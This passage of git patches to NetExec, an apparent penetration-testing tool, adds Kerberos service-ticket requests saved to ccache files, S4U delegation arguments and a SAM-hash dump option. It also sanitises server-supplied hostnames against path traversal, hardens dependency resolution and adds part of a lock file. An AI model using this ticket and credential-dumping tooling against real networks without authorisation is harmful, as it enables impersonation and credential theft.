password=self.password, + domain=self.domain.upper(), + lmhash=binascii.unhexlify(self.lmhash) if self.lmhash else "", + nthash=binascii.unhexlify(self.nthash) if self.nthash else "", + aesKey=self.aesKey, + kdcHost=self.kdcHost, + ) + self.logger.debug(f"TGT obtained for {self.username}@{self.domain}") + + server_name = Principal(self.args.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs, _, tgs_session_key, _ = getKerberosTGS( + server_name, + self.domain.upper(), + self.kdcHost, + tgt, + cipher, + tgt_session_key, + ) + self.logger.debug(f"ST successfully obtained for SPN {self.args.spn}") + + ccache = CCache() + ccache.fromTGS(tgs, tgs_session_key, tgs_session_key) + st_file = f"{self.args.generate_st.removesuffix('.ccache')}.ccache" + ccache.saveFile(st_file) + + self.logger.success(f"ST saved to: {st_file}") + self.logger.success(f"Run the following command to use the ST: export KRB5CCNAME={st_file}") + except Exception as e: + self.logger.fail(f"Failed to get ST: {e}") + def check_dc_ports(self, timeout=1): """Check multiple DC-specific ports in case first check fails""" import socket diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 6765559c24..ef970bc1d8 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -1,4 +1,4 @@ -from argparse import _StoreTrueAction, _StoreAction +from argparse import _StoreTrueAction from nxc.helpers.args import DisplayDefaultsNotNone, DefaultTrackingAction, get_conditional_action @@ -7,8 +7,8 @@ def proto_args(parser, parents): smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") delegate_arg = smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy") - delegate_spn_arg = smb_parser.add_argument("--delegate-spn", action=get_conditional_action(_StoreAction), make_required=[], help="SPN to use for S4U2Proxy, if not specified the SPN used will be cifs/", type=str) - generate_st = smb_parser.add_argument("--generate-st", type=str, dest="generate_st", action=get_conditional_action(_StoreAction), make_required=[], help="Store the S4U Service Ticket in the specified file") + smb_parser.add_argument("--spn", action="store", help="SPN to use for the Service Ticket. With --delegate it's the SPN used for S4U2Proxy (defaults to cifs/). With --generate-st (and without --delegate) it's the SPN of the target service to request a ST for.", type=str) + smb_parser.add_argument("--generate-st", type=str, dest="generate_st", help="Store a Service Ticket in the specified file. Use with --delegate to save the S4U ST, or without --delegate (together with --spn) to request a regular ST for the given SPN") self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)") dgroup = smb_parser.add_mutually_exclusive_group() @@ -27,8 +27,6 @@ def proto_args(parser, parents): smb_parser.add_argument("--generate-krb5-file", type=str, help="Generate a krb5 file like from a range of IP") smb_parser.add_argument("--generate-tgt", type=str, help="Generate a tgt ticket") self_delegate_arg.make_required = [delegate_arg] - generate_st.make_required = [delegate_arg] - delegate_spn_arg.make_required = [delegate_arg] cred_gathering_group = smb_parser.add_argument_group("Credential Gathering") cred_gathering_group.add_argument("--sam", choices={"regdump", "secdump"}, nargs="?", const="regdump", help="dump SAM hashes from target systems") From 68abd128e6f2cd239a50578391d18f6c65bdfcb0 Mon Sep 17 00:00:00 2001 From: TristanInSec Date: Sat, 16 May 2026 16:17:22 -0400 Subject: [PATCH 027/397] Sanitize NTLM hostname to prevent path traversal and DoS Strip non-alphanumeric characters (except hyphens and dots) from server-provided NTLM hostname before use in file paths or content. Prevents: - Path traversal via ../ in hostname (file creation outside ~/.nxc/logs/) - DoS via null byte (ValueError crash in open()) - DoS via { characters (KeyError crash in str.format()) - Newline injection in --generate-hosts-file output - Affects: SMB, RDP, VNC, WinRM, MSSQL credential dump and screenshot paths --- nxc/connection.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/nxc/connection.py b/nxc/connection.py index f20d05ddaa..b4926a0472 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -1,5 +1,6 @@ from datetime import datetime import os +import re import random import sys import contextlib @@ -245,6 +246,7 @@ def proto_flow(self): else: self.logger.debug("Created connection object") self.enum_host_info() + self.hostname = re.sub(r'[^\w\-.]', '_', self.hostname) # Construct the output file template using os.path.join for OS compatibility base_log_dir = os.path.join(NXC_PATH, "logs") From 9c293a8eb9c70af105b4f1f280b264419e86827c Mon Sep 17 00:00:00 2001 From: TristanInSec Date: Mon, 18 May 2026 14:42:53 -0400 Subject: [PATCH 028/397] Warn when NTLM hostname is sanitized Log a warning showing the original and sanitized hostname so users are alerted to potential non-compliant implementations or rogue servers. --- nxc/connection.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/nxc/connection.py b/nxc/connection.py index b4926a0472..17ff3cfc87 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -246,7 +246,10 @@ def proto_flow(self): else: self.logger.debug("Created connection object") self.enum_host_info() - self.hostname = re.sub(r'[^\w\-.]', '_', self.hostname) + sanitized = re.sub(r'[^\w\-.]', '_', self.hostname) + if sanitized != self.hostname: + self.logger.warning(f"Hostname contains invalid characters (received: {self.hostname!r}), sanitized to: {sanitized!r}") + self.hostname = sanitized # Construct the output file template using os.path.join for OS compatibility base_log_dir = os.path.join(NXC_PATH, "logs") From e407f21062511ff309b92e115da509eec4f19949 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Tue, 19 May 2026 14:27:46 +0200 Subject: [PATCH 029/397] simplify the help --- nxc/protocols/smb/proto_args.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index ef970bc1d8..afcf847519 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -7,7 +7,7 @@ def proto_args(parser, parents): smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") delegate_arg = smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy") - smb_parser.add_argument("--spn", action="store", help="SPN to use for the Service Ticket. With --delegate it's the SPN used for S4U2Proxy (defaults to cifs/). With --generate-st (and without --delegate) it's the SPN of the target service to request a ST for.", type=str) + smb_parser.add_argument("--spn", action="store", help="SPN to use for the Service Ticket. With --delegate it's the SPN used for S4U2Proxy (defaults to cifs/).", type=str) smb_parser.add_argument("--generate-st", type=str, dest="generate_st", help="Store a Service Ticket in the specified file. Use with --delegate to save the S4U ST, or without --delegate (together with --spn) to request a regular ST for the given SPN") self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)") From abdeb78174b2d9cbeb4339547d737a953e912a73 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 19 May 2026 20:22:28 +0200 Subject: [PATCH 030/397] Add exclude-newer option for tool.uv Signed-off-by: mpgn <5891788+mpgn@users.noreply.github.com> --- pyproject.toml | 3 +++ 1 file changed, 3 insertions(+) diff --git a/pyproject.toml b/pyproject.toml index 4fd1f71749..2ddd9edcdd 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -89,6 +89,9 @@ shiv = "*" pytest = "^7.2.2" ruff = "*" +[tool.uv] +exclude-newer = "1 days" + [tool.ruff] target-version = "py310" exclude = [ From 8a708ffab37de0f4366f3b42d8b3c550f98a0570 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 19 May 2026 20:47:31 +0200 Subject: [PATCH 031/397] Update pyproject.toml Signed-off-by: mpgn <5891788+mpgn@users.noreply.github.com> --- pyproject.toml | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 2ddd9edcdd..f6ef5a25ce 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -89,8 +89,11 @@ shiv = "*" pytest = "^7.2.2" ruff = "*" +# Supply-chain hardening: uv will ignore package artifacts uploaded to indexes +# within the last day, giving maintainers and scanners time to detect and remove +# malicious or compromised releases before they are selected during resolution. [tool.uv] -exclude-newer = "1 days" +exclude-newer = "1 day" [tool.ruff] target-version = "py310" From 5b3f8382e445e7e92b5f20876ab67c63d5180766 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 19 May 2026 21:01:44 +0200 Subject: [PATCH 032/397] Configure Poetry to ignore recent package versions Add min-release-age setting for supply-chain hardening Signed-off-by: mpgn <5891788+mpgn@users.noreply.github.com> --- poetry.toml | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 poetry.toml diff --git a/poetry.toml b/poetry.toml new file mode 100644 index 0000000000..c7d8a29642 --- /dev/null +++ b/poetry.toml @@ -0,0 +1,5 @@ +# Supply-chain hardening: Poetry will ignore package versions whose distribution +# files were uploaded within the last day, giving maintainers and scanners time +# to detect and remove malicious or compromised releases before resolution. +[solver] +min-release-age = 1 From a92b6fea1636d7caf8fe63e6d67b35b3ce842f7b Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 19 May 2026 21:04:47 +0200 Subject: [PATCH 033/397] Update oscrypto dependency to specific commit Signed-off-by: mpgn <5891788+mpgn@users.noreply.github.com> --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index f6ef5a25ce..653fbd3b0d 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -47,7 +47,7 @@ dependencies = [ # Git Dependencies "certipy-ad @ git+https://github.com/Pennyw0rth/Certipy", "impacket @ git+https://github.com/Pennyw0rth/impacket", - "oscrypto @ git+https://github.com/wbond/oscrypto", + "oscrypto @ git+https://github.com/wbond/oscrypto@1547f535001ba568b239b8797465536759c742a3", "pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient", ] From e0972008f4af9c640e4e953b925d23112702e127 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 19 May 2026 19:12:54 +0000 Subject: [PATCH 034/397] update lock --- uv.lock | 2098 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 2098 insertions(+) create mode 100644 uv.lock diff --git a/uv.lock b/uv.lock new file mode 100644 index 0000000000..fd3f95c520 --- /dev/null +++ b/uv.lock @@ -0,0 +1,2098 @@ +version = 1 +revision = 3 +requires-python = ">=3.10, <4.0" + +[options] +exclude-newer = "0001-01-01T00:00:00Z" # This has no effect and is included for backwards compatibility when using relative exclude-newer values. +exclude-newer-span = "P1D" + +[[package]] +name = "aardwolf" +version = "0.2.13" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "arc4" }, + { name = "asn1crypto" }, + { name = "asn1tools" }, + { name = "asyauth" }, + { name = "asysocks" }, + { name = "colorama" }, + { name = "pillow" }, + { name = "pyperclip" }, + { name = "tqdm" }, + { name = "unicrypto" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/60/0f/80dd9e2b2c7873602ea03e3888fd682eeea2acf93234aa617e73f4662187/aardwolf-0.2.13.tar.gz", hash = "sha256:95d186a162dbbade1f92b2ae659235c5cab42eff66c9528ad66c8c5c41b77eec", size = 969740, upload-time = "2025-08-19T13:33:04.133Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/da/1b/e550f31844f48bee0b54fb470f619d9db7cebd4556d818b25e35eb5b182b/aardwolf-0.2.13-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:2a2f79f774807ad2fe2aa702b32b8f98d9c7d8474761a235a9e42747a1ba7693", size = 1902078, upload-time = "2025-08-19T13:32:11.694Z" }, + { url = "https://files.pythonhosted.org/packages/7f/86/7555873e85dddd5be43ad6ae2a3900d2d16cbef0a1fbbf1b6f706b227fb7/aardwolf-0.2.13-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:23ecf64d1f2a28e6ece62d983373543f8f6d7273878d7f608d93c26448f49f99", size = 1932141, upload-time = "2025-08-19T13:32:13.432Z" }, + { url = "https://files.pythonhosted.org/packages/8b/9c/9a79efd8ec3c602aced49c207ecb9b0090838e0f174e6b00aadd6b3c6ef8/aardwolf-0.2.13-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5ed3543fbdd99d568e31fd1418fc0b0d3939d0c8c8338a1b78ac5c282c8ef7fc", size = 1951532, upload-time = "2025-08-19T13:32:14.937Z" }, + { url = "https://files.pythonhosted.org/packages/37/01/5d761c3b31c8eb352ffb0ef02a2ad4039c550749b5fbeed438e4ad2e13f2/aardwolf-0.2.13-cp310-cp310-win_amd64.whl", hash = "sha256:b9ffec598c4e0f7d3c7f5c5cf741d1639fba4091290a41730f5901d663158700", size = 1799504, upload-time = "2025-08-19T13:32:16.314Z" }, + { url = "https://files.pythonhosted.org/packages/18/43/91c5ea54feb0a052ff2c53527f833a3e57b5dbce3a2f49ec39e8cddef289/aardwolf-0.2.13-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1b7b3bcbb0dc718daef2d89ec69560c6764f17962ca86721fe5de4838f855b23", size = 1901959, upload-time = "2025-08-19T13:32:18.091Z" }, + { url = "https://files.pythonhosted.org/packages/cb/20/6d5bd45d1983bf4041e82fd28f6cf580f1fd044108c19341c9ea5801aa47/aardwolf-0.2.13-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c6185cccf51a98a5396edb5b1dba26b31080b15d7357a22f2e0d086590962a4e", size = 1931760, upload-time = "2025-08-19T13:32:19.467Z" }, + { url = "https://files.pythonhosted.org/packages/2c/c8/d0f98fab3de6e5c32f3a549b6a033947a3eec60c876577089983ac7c9bd7/aardwolf-0.2.13-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fcbe77f0cc1cbe0e9a1b40669007c5b72e155099bc0f645b48ce843a09113db2", size = 1951001, upload-time = "2025-08-19T13:32:20.925Z" }, + { url = "https://files.pythonhosted.org/packages/22/45/14a93127f001c470cc14725b289ff5a92c6d9221f8a3f0c38c53244554f3/aardwolf-0.2.13-cp311-cp311-win_amd64.whl", hash = "sha256:726eae2ace82a0f96608c74d6d393fb8c61d711ade232fecc662839c1bb148a7", size = 1799285, upload-time = "2025-08-19T13:32:22.69Z" }, + { url = "https://files.pythonhosted.org/packages/cb/fa/125cad20edf07a6e0fcc4f29fa8fb30df94ea4ce1d989a0200eae0b4c2eb/aardwolf-0.2.13-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:70e0f31d61dafffe8f19921c28bcb77909cb2c73f14c98cf6eb2fde42ce5de2d", size = 1900281, upload-time = "2025-08-19T13:32:24.115Z" }, + { url = "https://files.pythonhosted.org/packages/2a/cf/b535fe5b244ae1a1da57d6fda60029970d5434b18febccab170215f6e885/aardwolf-0.2.13-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:42aa2bb888127088a5f5ce29ca2acce33270afe15016ace16dfa373525fb9d6a", size = 1931316, upload-time = "2025-08-19T13:32:26.179Z" }, + { url = "https://files.pythonhosted.org/packages/f5/67/273897a0890ddc6d357622923bf34a52fcdd32b45c17cbd08d4c6ca659b2/aardwolf-0.2.13-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:df6298af95c2ede4886538d3f05ac32e6b7060d098c273fb119d70dd2140837d", size = 1950499, upload-time = "2025-08-19T13:32:28.861Z" }, + { url = "https://files.pythonhosted.org/packages/94/30/86d8562c89afe511aaac157a98929a7990c38f899658d2bf43de2494abb6/aardwolf-0.2.13-cp312-cp312-win_amd64.whl", hash = "sha256:f5d52440965b81eb824da7274d422b409637f825d0490e5a247a9da756df7358", size = 1799066, upload-time = "2025-08-19T13:32:30.563Z" }, + { url = "https://files.pythonhosted.org/packages/fd/8b/9fa2caf00f762af10be1158dcb54c2920e0dcdf1bf2937a7697e4277aa79/aardwolf-0.2.13-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d70d489d1b6b25100a70a2add0c14cfcbc82b9230a352307a53df4000208daa1", size = 1900537, upload-time = "2025-08-19T13:32:32.068Z" }, + { url = "https://files.pythonhosted.org/packages/bf/f7/8a903bfcca858f8b9b36257a7942494b1d432d9a541a42ca69e8cca33fb0/aardwolf-0.2.13-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:49a6ba4d2c5571b39d0437fa2a691102fcd9e2ca97d17613d84bdd2695e59648", size = 1931515, upload-time = "2025-08-19T13:32:33.713Z" }, + { url = "https://files.pythonhosted.org/packages/99/07/2658ff43b69c029326a166b3255eb36119fae1c5db942513a92e4f7ea88f/aardwolf-0.2.13-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8ae112f0d05366407bcb67613c15a61f21f4cc48a487fb5091571321bc39d01b", size = 1951041, upload-time = "2025-08-19T13:32:35.609Z" }, + { url = "https://files.pythonhosted.org/packages/cc/96/088aeeed80ca4da952ec44a8d6c578b50f99678dded7dd86de72ecdfb430/aardwolf-0.2.13-cp313-cp313-win_amd64.whl", hash = "sha256:e087a5d37406234a8938ebbf27cee7ab762ce73662deb90929f2bb047635ffd8", size = 1799134, upload-time = "2025-08-19T13:32:37.001Z" }, + { url = "https://files.pythonhosted.org/packages/9f/5f/788101b7530f05b8547fbdf1960586a1fd9ab521b1128a07a3f1e7e8e807/aardwolf-0.2.13-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:66c599a792d67e7e22dfdfd83d440d6708cdbbd3e6d96a0f1f2367940a1271d3", size = 1902087, upload-time = "2025-08-19T13:32:45.3Z" }, + { url = "https://files.pythonhosted.org/packages/e5/88/0d4b297ad7e6e321b272bc0c8fda6f70e019389b7c441ff4e66f2ef51187/aardwolf-0.2.13-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:36ec601ba9376f933c760c712d3e35691b774029777c4e79f8c5abd37876df72", size = 1932219, upload-time = "2025-08-19T13:32:46.761Z" }, + { url = "https://files.pythonhosted.org/packages/b0/a2/17066552d3a35c5b8151e732d94480aecb1a4b3fb9652d7fe8cdc7bf0e46/aardwolf-0.2.13-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bd42b25029dfa88be08c63863bd6852d8e8afa31842a2f024070236138bbb8a1", size = 1951445, upload-time = "2025-08-19T13:32:48.382Z" }, + { url = "https://files.pythonhosted.org/packages/32/df/d9b50944b6b061d7c93f7fbd89640e5adafeaa89afb2fb8513506f37883d/aardwolf-0.2.13-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:b344a4740ceb1064c5776e72960861b7b3c768c1daff7a737abd7f4d98dd5780", size = 1799425, upload-time = "2025-08-19T13:32:49.78Z" }, + { url = "https://files.pythonhosted.org/packages/d5/88/25db95c57b23ae09554ed9f4849417ca0ec386c983cb58215cee3b8830a3/aardwolf-0.2.13-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:5a3c0e40debad804a84d4cf88304a26e904b73193dcc2ff9ffe927a26aea9dfa", size = 1901861, upload-time = "2025-08-19T13:32:51.262Z" }, + { url = "https://files.pythonhosted.org/packages/00/ee/379619d1299129f192742cf9c69b7a37fc45d9017d36c84f6b4d29344139/aardwolf-0.2.13-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4377bc185dd4c4d119af7e029edd3eddb94858e0a024f3fe4b05ac8e57244a8a", size = 1931731, upload-time = "2025-08-19T13:32:53.132Z" }, + { url = "https://files.pythonhosted.org/packages/98/64/a2ca9dd8fea7d1cfb7272db33a3631a003d6fe124ec4ce74ffa2fbd5980d/aardwolf-0.2.13-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:aef5e21ffd35b3d38cb9a8f54b53682d78084e63cc8b40fb891ce8b12b8402bb", size = 1951277, upload-time = "2025-08-19T13:32:54.567Z" }, + { url = "https://files.pythonhosted.org/packages/5b/d3/289f31634b0194315b3db831a5a970177298228f7efc37a93bb134ad73f0/aardwolf-0.2.13-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:da6fcdf569fd8c9d65202f8446119739d375854702a38e2ae0ca7410b16c1aed", size = 1799434, upload-time = "2025-08-19T13:32:55.99Z" }, +] + +[[package]] +name = "aesedb" +version = "0.1.8" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "aiowinreg" }, + { name = "colorama" }, + { name = "tqdm" }, + { name = "unicrypto" }, +] +wheels = [ + { url = "https://files.pythonhosted.org/packages/13/2e/b802e59d54a14e9cf8bda8a4fc4b5ed32568323cce7c1475bb01fdd7ab1c/aesedb-0.1.8-py3-none-any.whl", hash = "sha256:e6a3bc77ab9187d79cfeca27620ae21e331ebb66f5ea9254a136e3e29dd8b23a", size = 41442, upload-time = "2025-10-29T10:00:30.257Z" }, +] + +[[package]] +name = "aiosmb" +version = "0.4.14" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "asn1crypto" }, + { name = "asyauth" }, + { name = "asysocks" }, + { name = "colorama" }, + { name = "cryptography" }, + { name = "prompt-toolkit" }, + { name = "six" }, + { name = "tqdm" }, + { name = "unicrypto" }, + { name = "wcwidth" }, + { name = "winacl" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/4e/a7/4a8e44d7536ed22c381525fea17df56d5826b18d15179c31a096aab38a7c/aiosmb-0.4.14.tar.gz", hash = "sha256:4a8eaefac5fb10e1088eb61e8df58aff3fe61fd6f11ce72efd8a6317555f02c3", size = 621104, upload-time = "2025-10-29T13:55:51.906Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/70/20/cf6e04f9615d73537a1129155870ba064af8e9005709e519ddd67301d05a/aiosmb-0.4.14-py3-none-any.whl", hash = "sha256:613e6ffc4f2c1d56e48e69943064946403a5c12d43198d9d556e4b04912c0f60", size = 717553, upload-time = "2025-10-29T13:55:49.143Z" }, +] + +[[package]] +name = "aiowinreg" +version = "0.0.13" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "prompt-toolkit" }, + { name = "winacl" }, +] +wheels = [ + { url = "https://files.pythonhosted.org/packages/42/37/22118ef661a287ca99d46b43e6206bca95cc7c268fa820b4334b2b66d7b7/aiowinreg-0.0.13-py3-none-any.whl", hash = "sha256:2e0809f05d62337cb2218d11dcf7ee08eb8c319382dd564293425f03cd332c9b", size = 27138, upload-time = "2025-10-29T09:58:26.302Z" }, +] + +[[package]] +name = "annotated-types" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" }, +] + +[[package]] +name = "anyio" +version = "4.13.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "exceptiongroup", marker = "python_full_version < '3.11'" }, + { name = "idna" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/19/14/2c5dd9f512b66549ae92767a9c7b330ae88e1932ca57876909410251fe13/anyio-4.13.0.tar.gz", hash = "sha256:334b70e641fd2221c1505b3890c69882fe4a2df910cba14d97019b90b24439dc", size = 231622, upload-time = "2026-03-24T12:59:09.671Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/da/42/e921fccf5015463e32a3cf6ee7f980a6ed0f395ceeaa45060b61d86486c2/anyio-4.13.0-py3-none-any.whl", hash = "sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708", size = 114353, upload-time = "2026-03-24T12:59:08.246Z" }, +] + +[[package]] +name = "arc4" +version = "0.5.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b6/f0/881da69973abadac6848d27a0bf070b107ed5547ddbd1b092c30ab4c8b7c/arc4-0.5.0.tar.gz", hash = "sha256:259d4e505766639b7245d7199f3b4e72134d7adf20196820ffd3015954d85955", size = 6576, upload-time = "2026-04-05T13:22:36.059Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/24/3f/ab228c5d60e1d6ba345fa993b5336cd24376a86851673e112ad09b681c91/arc4-0.5.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:2a052f9934746d81917032a4f37b390577141c56b4445c7f85c52b1155fdbf9f", size = 9065, upload-time = "2026-04-05T13:22:18.032Z" }, + { url = "https://files.pythonhosted.org/packages/0b/68/32c530846e2037275c094854c63935a15fac694de9279e62b23d86cf00e7/arc4-0.5.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:83a1f1934c55256838aa40998b87777f881e81c2056af9734cdb35a84574488c", size = 16526, upload-time = "2026-04-05T13:22:18.983Z" }, + { url = "https://files.pythonhosted.org/packages/d9/e9/2086b401b89885156424f3d5095de9ae3807ba04b05a768ba320c163ebc1/arc4-0.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:631786051c1468d3ec1010d1fc1089b539831d72d7f08ea342bdcd25aa019620", size = 9986, upload-time = "2026-04-05T13:22:20.064Z" }, + { url = "https://files.pythonhosted.org/packages/e8/4f/f2e28e91c9083876090e6218d3f601f7d54acdb5cc189fd4af406f104778/arc4-0.5.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:343a67c0bd2dcfdee78dc4269d8bd8ac362e6e911047833172468b337faccb1f", size = 9068, upload-time = "2026-04-05T13:22:20.845Z" }, + { url = "https://files.pythonhosted.org/packages/37/80/84266d1b251fe29272d9f7796e3d4a323cf0a005749b6ddda45a191c2f11/arc4-0.5.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0ffd6df658cf4d348eebbd125e9dcd35fcfcb2efec31ff4258b85791b0207bad", size = 17788, upload-time = "2026-04-05T13:22:21.66Z" }, + { url = "https://files.pythonhosted.org/packages/b9/f7/e4ff9ee3d4b6227fd2e3b34d66d2242b7f55fd245c537b578e7f2b60becb/arc4-0.5.0-cp311-cp311-win_amd64.whl", hash = "sha256:6c20103a2ff7cd43b91d707fb520a3d10dac5b9ef647957a2d19fa3a05725be6", size = 9990, upload-time = "2026-04-05T13:22:22.815Z" }, + { url = "https://files.pythonhosted.org/packages/b2/44/0c9ea0129c022a71ce3d686f4a04280a01657b83d8fff5de683524f10748/arc4-0.5.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:7eb640302490f105c68336e763a9e8a9513377c46ad0a704c297d5d943f98831", size = 10054, upload-time = "2026-04-05T13:22:23.904Z" }, + { url = "https://files.pythonhosted.org/packages/7a/77/c4b547dd33a23079dff6e173fc2313841802bb9a1be3975673bf4c5efbe1/arc4-0.5.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7a3b4325e550a8bc2b56484edf91a983d2bd3f32fae8f169d5a5846a22554ea9", size = 17621, upload-time = "2026-04-05T13:22:24.767Z" }, + { url = "https://files.pythonhosted.org/packages/7f/af/c2cd8636fa5f1e5bfee2d2772ac377ecea27112b7d4d5a664df9646542e1/arc4-0.5.0-cp312-cp312-win_amd64.whl", hash = "sha256:4d07b1aa184b78a6e10d1920dbe92644b4113b34062ad2869f450e678bb7ada6", size = 10099, upload-time = "2026-04-05T13:22:25.523Z" }, + { url = "https://files.pythonhosted.org/packages/de/dc/f434e3517d61f8a3d9c19bb2f615942ae0888d35dd1ab8a8f39dbf4014fa/arc4-0.5.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ac5e9c3a589825afd31a10b6edd49bc8fe83ca88b4dc82dea6e977304304d36c", size = 10053, upload-time = "2026-04-05T13:22:26.246Z" }, + { url = "https://files.pythonhosted.org/packages/dd/6e/782c46bfc80ca5afd2fc29d5d611a1db9172759aa7d0e538517d6c8a96b3/arc4-0.5.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:b8bcb09611b9e16a3f9d78b747c135386b59803a3fdecf4e7ff03eb3949e671b", size = 17706, upload-time = "2026-04-05T13:22:27.344Z" }, + { url = "https://files.pythonhosted.org/packages/df/f7/f7a9473114eead7cdb1419eaab156ad767218be748a47922117cfa1167c1/arc4-0.5.0-cp313-cp313-win_amd64.whl", hash = "sha256:6fb7f6a7b16bc6fc3ed1eefaaa201810edec0e7dc08683970b2be0699b401e39", size = 10095, upload-time = "2026-04-05T13:22:28.12Z" }, + { url = 